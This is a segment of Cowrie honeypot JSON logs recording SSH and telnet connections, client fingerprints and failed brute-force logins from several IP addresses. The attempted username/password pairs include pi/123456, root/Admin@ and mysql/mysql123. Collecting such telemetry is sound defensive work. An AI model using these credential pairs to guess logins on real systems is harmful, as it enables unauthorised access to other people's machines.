{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:48.723810Z","src_ip":"45.156.87.147","session":"f29f333c2711","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"123456","message":"login attempt [pi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:48.973935Z","src_ip":"45.156.87.147","session":"f29f333c2711","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":55670,"dst_ip":"159.203.135.109","dst_port":23,"session":"f79ef2a18e81","protocol":"telnet","message":"New connection: 102.37.220.188:55670 (159.203.135.109:23) [session: f79ef2a18e81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:50.116208Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:50.128241Z","src_ip":"45.156.87.147","session":"f29f333c2711","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47212,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e4ab75abff1","protocol":"ssh","message":"New connection: 45.156.87.147:47212 (10.17.0.5:22) [session: 3e4ab75abff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:53.829993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:53.834469Z","src_ip":"45.156.87.147","session":"3e4ab75abff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:53.915114Z","src_ip":"45.156.87.147","session":"3e4ab75abff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stack","password":"stack","message":"login attempt [stack/stack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:54.164963Z","src_ip":"45.156.87.147","session":"3e4ab75abff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:55.256620Z","src_ip":"45.156.87.147","session":"3e4ab75abff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":33450,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3c8381e95a9","protocol":"telnet","message":"New connection: 172.81.62.90:33450 (159.203.135.109:23) [session: c3c8381e95a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:57.434775Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":58746,"dst_ip":"159.203.135.109","dst_port":22,"session":"f26cc6a8792a","protocol":"ssh","message":"New connection: 103.189.235.114:58746 (159.203.135.109:22) [session: f26cc6a8792a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:57.861616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:57.865495Z","src_ip":"103.189.235.114","session":"f26cc6a8792a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:58.111610Z","src_ip":"103.189.235.114","session":"f26cc6a8792a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sound","password":"sound","message":"login attempt [sound/sound] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:59.104293Z","src_ip":"103.189.235.114","session":"f26cc6a8792a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58204,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3f0662a8fd5","protocol":"ssh","message":"New connection: 45.156.87.147:58204 (10.17.0.5:22) [session: c3f0662a8fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:59.205309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:59.210473Z","src_ip":"45.156.87.147","session":"c3f0662a8fd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:59.380322Z","src_ip":"45.156.87.147","session":"c3f0662a8fd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"pi","message":"login attempt [guest/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:30:59.644621Z","src_ip":"45.156.87.147","session":"c3f0662a8fd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:00.345066Z","src_ip":"103.189.235.114","session":"f26cc6a8792a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:00.728076Z","src_ip":"45.156.87.147","session":"c3f0662a8fd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.60","src_port":42624,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cdee5c2c734","protocol":"ssh","message":"New connection: 160.119.76.60:42624 (159.203.135.109:22) [session: 7cdee5c2c734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:01.081550Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58220,"dst_ip":"10.17.0.5","dst_port":22,"session":"6166fa397a18","protocol":"ssh","message":"New connection: 45.156.87.147:58220 (10.17.0.5:22) [session: 6166fa397a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:04.641016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:04.648975Z","src_ip":"45.156.87.147","session":"6166fa397a18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:04.731362Z","src_ip":"45.156.87.147","session":"6166fa397a18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fred","password":"fred","message":"login attempt [fred/fred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:04.980509Z","src_ip":"45.156.87.147","session":"6166fa397a18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:06.065126Z","src_ip":"45.156.87.147","session":"6166fa397a18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:06.081718Z","src_ip":"160.119.76.60","session":"7cdee5c2c734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":50990,"dst_ip":"159.203.135.109","dst_port":22,"session":"647342fa6e6f","protocol":"ssh","message":"New connection: 27.71.230.31:50990 (159.203.135.109:22) [session: 647342fa6e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:06.660227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:06.671432Z","src_ip":"27.71.230.31","session":"647342fa6e6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:06.958390Z","src_ip":"27.71.230.31","session":"647342fa6e6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59816,"dst_ip":"10.17.0.5","dst_port":22,"session":"62ba08a161c2","protocol":"ssh","message":"New connection: 45.156.87.147:59816 (10.17.0.5:22) [session: 62ba08a161c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:10.107772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:10.111870Z","src_ip":"45.156.87.147","session":"62ba08a161c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:10.267390Z","src_ip":"45.156.87.147","session":"62ba08a161c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:10.514931Z","src_ip":"45.156.87.147","session":"62ba08a161c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:11.599487Z","src_ip":"45.156.87.147","session":"62ba08a161c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@","message":"login attempt [root/Admin@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:11.995198Z","src_ip":"27.71.230.31","session":"647342fa6e6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:13.358583Z","src_ip":"27.71.230.31","session":"647342fa6e6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59822,"dst_ip":"10.17.0.5","dst_port":22,"session":"31994edad1d9","protocol":"ssh","message":"New connection: 45.156.87.147:59822 (10.17.0.5:22) [session: 31994edad1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:15.394375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:15.398566Z","src_ip":"45.156.87.147","session":"31994edad1d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:15.480810Z","src_ip":"45.156.87.147","session":"31994edad1d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:15.836115Z","src_ip":"45.156.87.147","session":"31994edad1d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:16.919816Z","src_ip":"45.156.87.147","session":"31994edad1d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55734,"dst_ip":"10.17.0.5","dst_port":22,"session":"87412151eac1","protocol":"ssh","message":"New connection: 45.156.87.147:55734 (10.17.0.5:22) [session: 87412151eac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:20.722600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:20.725691Z","src_ip":"45.156.87.147","session":"87412151eac1","protocol":"ssh"}
